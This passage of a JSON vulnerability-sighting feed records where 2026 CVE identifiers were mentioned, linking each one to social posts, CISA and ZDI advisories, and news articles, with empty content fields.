"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2041", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mfms7uc5vl25", "content": "", "creation_timestamp": "2026-02-24T18:27:53.687222Z"}, {"uuid": "5bb8f797-6714-4e82-b4e0-6c6f1ccb135f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20791", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-05", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "a0c11b99-372c-47b0-9580-3ad6394a01ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2042", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-071/", "content": "", "creation_timestamp": "2026-02-12T05:00:00.000000Z"}, {"uuid": "064f8605-0130-4408-a466-5250338a555b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20748", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mgfxjcgtmh2b", "content": "", "creation_timestamp": "2026-03-06T18:39:12.547634Z"}, {"uuid": "cedd59a7-d83d-46a9-bae6-e30dc73c9a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20967", "type": "seen", "source": "https://www.thezdi.com/blog/2026/3/10/the-march-2026-security-update-review", "content": "", "creation_timestamp": "2026-03-10T16:57:37.000000Z"}, {"uuid": "b7e47de5-44c7-45f1-91ff-47cce61d0a2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20882", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mgfxlfkiru2h", "content": "", "creation_timestamp": "2026-03-06T18:40:22.927493Z"}, {"uuid": "8b933b0b-f173-4b8a-b023-31675854dd14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20742", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "3735d6d4-b8bd-4062-8682-1f16f1cb3d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20122", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mgd6bnngwt2p", "content": "", "creation_timestamp": "2026-03-05T16:02:12.912469Z"}, {"uuid": "fd70fddb-2da8-487a-9193-aab4a9c508ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20910", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "e0c7fbcc-2f4e-4bd5-adcc-eb6ac7bf1ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgfydt3je22m", "content": "", "creation_timestamp": "2026-03-06T18:54:04.639703Z"}, {"uuid": "bfb80b90-89ae-43c0-88fb-41387d0bfc78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2029", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mfqi6rvuvx2n", "content": "", "creation_timestamp": "2026-02-26T05:38:59.069988Z"}, {"uuid": "54152189-2555-42a8-bacc-f68f2b137850", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mep7jrbei22q", "content": "", "creation_timestamp": "2026-02-13T00:06:15.892616Z"}, {"uuid": "de3df442-e265-4adc-b866-efdaf2fa2992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20902", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "4b950e3e-8bda-4a66-bea4-3fa33fdd162d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3mepbfjqaqj2w", "content": "", "creation_timestamp": "2026-02-13T00:39:38.438451Z"}, {"uuid": "e0327907-3ec5-45c6-a100-fd4df92fbf76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116046021324775284", "content": "", "creation_timestamp": "2026-02-10T11:09:21.314327Z"}, {"uuid": "15953482-5295-49a6-aad5-dbdc8a5727bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2001", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3meywyyysql2o", "content": "", "creation_timestamp": "2026-02-16T21:00:18.097334Z"}, {"uuid": "5b6b3420-2f79-40d1-bda8-039b1f875a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-2001", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116082318733803629", "content": "", "creation_timestamp": "2026-02-16T21:00:32.831645Z"}, {"uuid": "2fda6b4b-25c3-44f3-a38c-8f25fba15b1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20764", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "ec97b2f5-b862-472a-84b5-b30edec44715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/solidot.bsky.social/post/3mgd7vksqzs2o", "content": "", "creation_timestamp": "2026-03-05T16:31:14.640525Z"}, {"uuid": "d5d25e71-5f88-41ec-8f13-01c6f93e78ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/jbry.bsky.social/post/3mepbwl33ik23", "content": "", "creation_timestamp": "2026-02-13T00:49:09.900881Z"}, {"uuid": "89be8fa8-dc05-4a53-9d31-e23acef04d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/solidot.bsky.social/post/3mgd7vksqzs2o", "content": "", "creation_timestamp": "2026-03-05T16:31:14.782901Z"}, {"uuid": "80d5d92a-17c6-4931-9b44-315de8d8861b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/g0rosato.bsky.social/post/3mepdhvizie2k", "content": "", "creation_timestamp": "2026-02-13T01:16:45.366475Z"}, {"uuid": "db9953b7-d598-47fa-a57d-44cc387f57d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20797", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-10", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "2b44bb3b-14ca-455d-9cf3-9d7bf924b259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mdulqvwaqa2u", "content": "", "creation_timestamp": "2026-02-02T10:03:04.239394Z"}, {"uuid": "45b1ddf5-7c4c-472f-ae14-b280b36fa479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/darrenpauli.bsky.social/post/3mepdqgzgys2t", "content": "", "creation_timestamp": "2026-02-13T01:21:33.494946Z"}, {"uuid": "055a7074-108d-436d-b947-43814e9170bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2001", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mez46rsgyq2h", "content": "", "creation_timestamp": "2026-02-16T22:33:00.899187Z"}, {"uuid": "ff95ea7b-53ab-45e2-8e9d-fb422f46e75b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20408", "type": "seen", "source": "https://gist.github.com/alon710/da39dcc9fe306db6392f03e1d604965f", "content": "", "creation_timestamp": "2026-02-26T06:00:19.000000Z"}, {"uuid": "c7bdec5c-7610-4031-968e-563a3a93246e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3meiy4ujtf322", "content": "", "creation_timestamp": "2026-02-10T12:37:45.667550Z"}, {"uuid": "183dafe8-3d2f-4ba6-93b3-4f85b220b890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/tecno-times.bsky.social/post/3mfy6ql7f622h", "content": "", "creation_timestamp": "2026-03-01T07:11:19.241966Z"}, {"uuid": "640fd7e5-d471-4855-bbb5-1691a1b20a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2032", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mf2n7jvgzx26", "content": "", "creation_timestamp": "2026-02-17T13:10:18.429472Z"}, {"uuid": "b1041848-f021-4932-934e-4d38fb1907c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mf5bbnqepu2c", "content": "", "creation_timestamp": "2026-02-18T14:14:44.647650Z"}, {"uuid": "64ccc95a-42a3-4a57-8f4d-dfd0ccc9fd0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3merxxbde5a2a", "content": "", "creation_timestamp": "2026-02-14T02:28:35.311495Z"}, {"uuid": "1890635e-111d-486f-9bb2-8cd62223daf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://thehackernews.com/2026/03/cisco-confirms-active-exploitation-of.html", "content": "", "creation_timestamp": "2026-03-05T14:22:00.000000Z"}, {"uuid": "bd2ea087-acba-49b4-b426-a0e6d334ff55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mepglvcxd22x", "content": "", "creation_timestamp": "2026-02-13T02:12:53.402713Z"}, {"uuid": "9e08ec29-c58e-4a74-a6b8-2290e8edffab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3merxxbde5a2a", "content": "", "creation_timestamp": "2026-02-14T02:28:35.482263Z"}, {"uuid": "1ae412f2-c3ea-4f54-9dff-3a2a8033ba8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/softfantw.bsky.social/post/3mfqkkag6wc2z", "content": "", "creation_timestamp": "2026-02-26T06:21:13.858626Z"}, {"uuid": "c53d459a-5102-4ff7-a921-cc85b22975aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mephjgpyjj26", "content": "", "creation_timestamp": "2026-02-13T02:29:11.765248Z"}, {"uuid": "1591f5be-5b6f-4e16-9197-1f59361f0bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mfbpr7ym7p2k", "content": "", "creation_timestamp": "2026-02-20T08:44:37.871091Z"}, {"uuid": "5457f889-27e7-4c60-bdf5-3fdf03ba4dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://threatintel.cc/2026/02/10/windows-error-reporting-flaw-allows.html", "content": "", "creation_timestamp": "2026-02-10T10:09:30.000000Z"}, {"uuid": "958362ea-104d-4699-8cff-10edb0027d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mephjgpyjj26", "content": "", "creation_timestamp": "2026-02-13T02:29:11.944247Z"}, {"uuid": "e957b57e-3a3c-40f3-ab1e-e76b9b7e9216", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mej57vopf22v", "content": "", "creation_timestamp": "2026-02-10T14:08:56.126720Z"}, {"uuid": "b740055e-6573-46bc-8ada-1be2fe6211bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/it4intserver.bsky.social/post/3mfqktfozdg2f", "content": "", "creation_timestamp": "2026-02-26T06:26:19.768670Z"}, {"uuid": "d581e002-8539-4eaf-9fc3-a74e8ace2724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mfql2qspec2b", "content": "", "creation_timestamp": "2026-02-26T06:30:25.213421Z"}, {"uuid": "2487ba26-209c-4180-b983-1c21154f16af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/techndots.bsky.social/post/3menqxzesvk2h", "content": "", "creation_timestamp": "2026-02-12T10:13:13.024808Z"}, {"uuid": "4177a2da-b0b0-4862-a4ed-5e11d08ed32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfql3vhiast2", "content": "", "creation_timestamp": "2026-02-26T06:31:24.009014Z"}, {"uuid": "bafb98c5-ed0b-452c-a6fa-9dd99501f9af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/techndots.bsky.social/post/3menqyaoams2h", "content": "", "creation_timestamp": "2026-02-12T10:13:13.776894Z"}, {"uuid": "c15be1b0-82ec-46fa-94c7-a88736245819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mfql4vdthl2b", "content": "", "creation_timestamp": "2026-02-26T06:31:37.632728Z"}, {"uuid": "95e03faf-e6b6-481a-8aad-8e4b27058544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mfql7itsyd2a", "content": "", "creation_timestamp": "2026-02-26T06:33:09.515239Z"}, {"uuid": "a8b86aa0-6b92-47ec-8173-f70b5de1aca4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20895", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-04", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "ed0d173a-2058-4634-85aa-b9c4b5f2f8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/tecno-times.bsky.social/post/3mfyg63ontk2e", "content": "", "creation_timestamp": "2026-03-01T09:24:10.553604Z"}, {"uuid": "0f36dba7-6196-419a-bc1a-96f05f0be53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mgcaulytks2k", "content": "", "creation_timestamp": "2026-03-05T07:15:57.925728Z"}, {"uuid": "a67f84b9-fb6b-4a8d-b98d-f893c2e020bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mgcaulytks2k", "content": "", "creation_timestamp": "2026-03-05T07:15:58.008873Z"}, {"uuid": "20251d70-70b1-4ab1-b96e-8e6a974e46b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mfqls34agg2q", "content": "", "creation_timestamp": "2026-02-26T06:43:27.968248Z"}, {"uuid": "e948ec0d-72d0-4739-9dcf-561e8f007d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20781", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-03", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "c9ae2e1d-e997-4ca8-b7e7-0887b1021a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20430", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mg3uma3wcb24", "content": "", "creation_timestamp": "2026-03-02T18:20:31.981449Z"}, {"uuid": "750c86a2-e37d-4ef5-9b86-f10bd5ac96aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mepnrvu2t22x", "content": "", "creation_timestamp": "2026-02-13T04:21:30.944324Z"}, {"uuid": "b46bd565-d863-4569-b993-f6d176a155bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20733", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-057-03", "content": "", "creation_timestamp": "2026-02-26T11:00:00.000000Z"}, {"uuid": "e009384f-67b4-4b3c-9942-523d1b31a495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/alper.rls.social.ap.brid.gy/post/3mevcetfk22r2", "content": "", "creation_timestamp": "2026-02-15T10:13:07.140465Z"}, {"uuid": "adfaa640-8676-4659-8cb4-8466c54514df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://gist.github.com/alon710/7430e0611933cef64ec051f2ff0c3f92", "content": "", "creation_timestamp": "2026-03-05T07:50:07.000000Z"}, {"uuid": "353f1d4b-c7b1-4052-a251-bec392b62587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://gist.github.com/alon710/be29a6e9e8250480c86c1dd8a6849041", "content": "", "creation_timestamp": "2026-03-05T07:50:06.000000Z"}, {"uuid": "142d66ce-8513-4be9-833d-0809ece4509f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3mesfs6zk2m2a", "content": "", "creation_timestamp": "2026-02-14T06:36:17.010099Z"}, {"uuid": "fac5cb00-7250-4a3c-a9e8-3a207bd5cec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/bontchev.infosec.exchange.ap.brid.gy/post/3mejzg3ldpy62", "content": "", "creation_timestamp": "2026-02-10T22:33:33.094521Z"}, {"uuid": "949021f6-3d8d-454a-bd6f-115b6fb43ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://cert.europa.eu/publications/security-advisories/2026-002/", "content": "", "creation_timestamp": "2026-02-26T17:38:52.000000Z"}, {"uuid": "b5896662-0422-486b-9029-944449d0f60b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20079", "type": "seen", "source": "https://gist.github.com/alon710/be29a6e9e8250480c86c1dd8a6849041", "content": "", "creation_timestamp": "2026-03-05T07:50:06.000000Z"}, {"uuid": "d013198b-2db6-48c2-8e2d-217235f01f3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20841", "type": "seen", "source": "https://bsky.app/profile/kakuri.bsky.social/post/3mezf3xfyv22b", "content": "", "creation_timestamp": "2026-02-17T01:12:30.859912Z"}, {"uuid": "5b293c4a-0313-4965-bbda-6756eff1af5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mezje45fzk24", "content": "", "creation_timestamp": "2026-02-17T02:28:37.388632Z"}, {"uuid": "8b5b5c8f-f879-4c52-91e4-0c63b6bfca37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mezje45fzk24", "content": "", "creation_timestamp": "2026-02-17T02:28:37.484398Z"}, {"uuid": "af5a04c9-ec34-4b7d-903f-04afb744ad18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mfqnzeqduk24", "content": "", "creation_timestamp": "2026-02-26T07:23:21.031794Z"}, {"uuid": "5080732d-f560-48d5-8c4e-81ae06e9abf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2024", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mesi5vevwv2v", "content": "", "creation_timestamp": "2026-02-14T07:18:38.092290Z"}, {"uuid": "41d58234-7ccc-4839-9788-84aac19d10a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mgao5xigfc2i", "content": "", "creation_timestamp": "2026-03-04T16:08:30.218755Z"}, {"uuid": "ba657b0f-fbd6-40fe-8115-0cbdb9c02a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mbsec.bsky.social/post/3mfgzlm2gwc2p", "content": "", "creation_timestamp": "2026-02-22T11:23:47.829387Z"}, {"uuid": "1ff16494-34b2-488e-802d-8edb9cf42e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2086", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mebmdg33w72v", "content": "", "creation_timestamp": "2026-02-07T14:18:02.031750Z"}, {"uuid": "6a6e7d06-7ba3-4cf0-9813-55e4e9a031eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20615", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mesl7epvb22x", "content": "", "creation_timestamp": "2026-02-14T08:13:08.070725Z"}, {"uuid": "0132e2cf-4ff2-4516-86f7-2f596ff92e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://thehackernews.com/2026/02/cisco-sd-wan-zero-day-cve-2026-20127.html", "content": "", "creation_timestamp": 